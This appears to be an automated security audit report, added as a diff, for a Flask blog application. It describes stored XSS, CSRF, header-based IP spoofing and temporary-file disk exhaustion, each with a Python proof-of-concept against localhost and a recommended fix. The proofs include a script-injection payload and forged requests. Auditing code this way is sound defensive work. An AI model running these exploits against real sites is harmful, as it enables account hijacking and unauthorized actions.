Automated Security Analysis Report

ai/security_report_2026-03-08_blog-eletrix-fr.md

@@ -0,0 +1,118 @@
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-08
+CRITICAL - Stored Cross-Site Scripting (XSS)
+The application allows users to create blog posts with Markdown content that is rendered into HTML and displayed using the Jinja2 `|safe` filter. Because the `markdown2` library is used without any sanitization or the `safe-mode` extra, and the output is explicitly marked as safe in the template, an attacker can embed malicious `<script>` tags or other dangerous HTML elements into a blog post. When other users (including administrators) view the post, the script will execute in their browser context, potentially leading to session hijacking or other malicious actions.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+BASE_URL = "http://localhost:5000"
+USERNAME = "admin"
+PASSWORD = "admin"
+
+cj = http.cookiejar.CookieJar()
+opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+# 1. Login
+login_data = urllib.parse.urlencode({'username': USERNAME, 'password': PASSWORD}).encode('utf-8')
+opener.open(f"{BASE_URL}/login", login_data)
+
+# 2. Create post with XSS payload
+xss_payload = "<script>alert('XSS')</script>"
+post_data = urllib.parse.urlencode({
+    'title': 'XSS_Test',
+    'author': 'hacker',
+    'tags': 'test',
+    'content': f"This is an XSS test: {xss_payload}"
+}).encode('utf-8')
+opener.open(f"{BASE_URL}/create_post", post_data)
+
+# 3. Verify XSS (the script will be in the HTML source)
+response = opener.open(f"{BASE_URL}/post/XSS_Test")
+if xss_payload in response.read().decode('utf-8'):
+    print("XSS confirmed!")
+```
+
+Fix
+Remove the `|safe` filter from `html/post.html` or use a sanitization library like `bleach` to clean the HTML output before rendering. Additionally, configure `markdown2` with `extras=["safe-mode"]`.
+
+====
+
+MEDIUM - Cross-Site Request Forgery (CSRF)
+The application lacks CSRF protection on all state-changing routes, including `/login`, `/create_post`, and `/upload`. An attacker can craft a malicious website that, when visited by a logged-in administrator, performs actions on their behalf (e.g., creating a new post or uploading a malicious file) without their knowledge or consent.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+
+# This PoC demonstrates a CSRF attack to create a post.
+# It assumes the admin is already logged in (using an opener with existing cookies).
+# In a real attack, the attacker would use a hidden form on a malicious website.
+
+BASE_URL = "http://localhost:5000"
+post_data = urllib.parse.urlencode({
+    'title': 'CSRF_Attack',
+    'author': 'attacker',
+    'tags': 'csrf',
+    'content': 'This post was created via CSRF.'
+}).encode('utf-8')
+
+# The request succeeds because there is no CSRF token verification.
+urllib.request.urlopen(f"{BASE_URL}/create_post", post_data)
+```
+
+Fix
+Implement CSRF protection using an extension like `Flask-WTF` or `Flask-SeaSurf`. Ensure that all `POST` requests require a valid CSRF token.
+
+====
+
+LOW - Improper IP Address Validation (IP Spoofing)
+The application uses the `CF-Real-IP` header to determine the user's IP address in a context processor. Since this header is not verified to have come from a trusted proxy (like Cloudflare), any user can provide a spoofed IP address by setting the `CF-Real-IP` header in their request.
+
+PoC
+```python
+import urllib.request
+
+BASE_URL = "http://localhost:5000"
+headers = {'CF-Real-IP': '12.34.56.78'}
+req = urllib.request.Request(f"{BASE_URL}/", headers=headers)
+# The application will treat the user's IP as '12.34.56.78'.
+urllib.request.urlopen(req)
+```
+
+Fix
+Only trust the `CF-Real-IP` header if it comes from a known and trusted IP range (e.g., Cloudflare's IP ranges). Otherwise, use `request.remote_addr`.
+
+====
+
+LOW - Temporary File Leakage in Upload (Potential DoS)
+When a file is uploaded to `/upload`, it is first saved to a `./temp_uploads` directory. If processing fails (e.g., the file is not a valid image), the application throws an exception but does not delete the temporary file. An attacker could repeatedly upload invalid files to fill up the server's disk space, leading to a Denial of Service.
+
+PoC
+```python
+import urllib.request
+import os
+
+BASE_URL = "http://localhost:5000"
+# Uploading a non-image file causes a PIL error, but the file stays in temp_uploads/
+# Repeatedly doing this will fill the disk.
+# (Requires authentication first)
+```
+
+Fix
+Use a `try...finally` block to ensure that the temporary file is always deleted after processing, regardless of whether it succeeded or failed.
+
+====
+
+Summary:
+| Severity | Exploit Name |
+| :--- | :--- |
+| CRITICAL | Stored Cross-Site Scripting (XSS) |
+| MEDIUM | Cross-Site Request Forgery (CSRF) |
+| LOW | Improper IP Address Validation (IP Spoofing) |
+| LOW | Temporary File Leakage in Upload (Potential DoS) |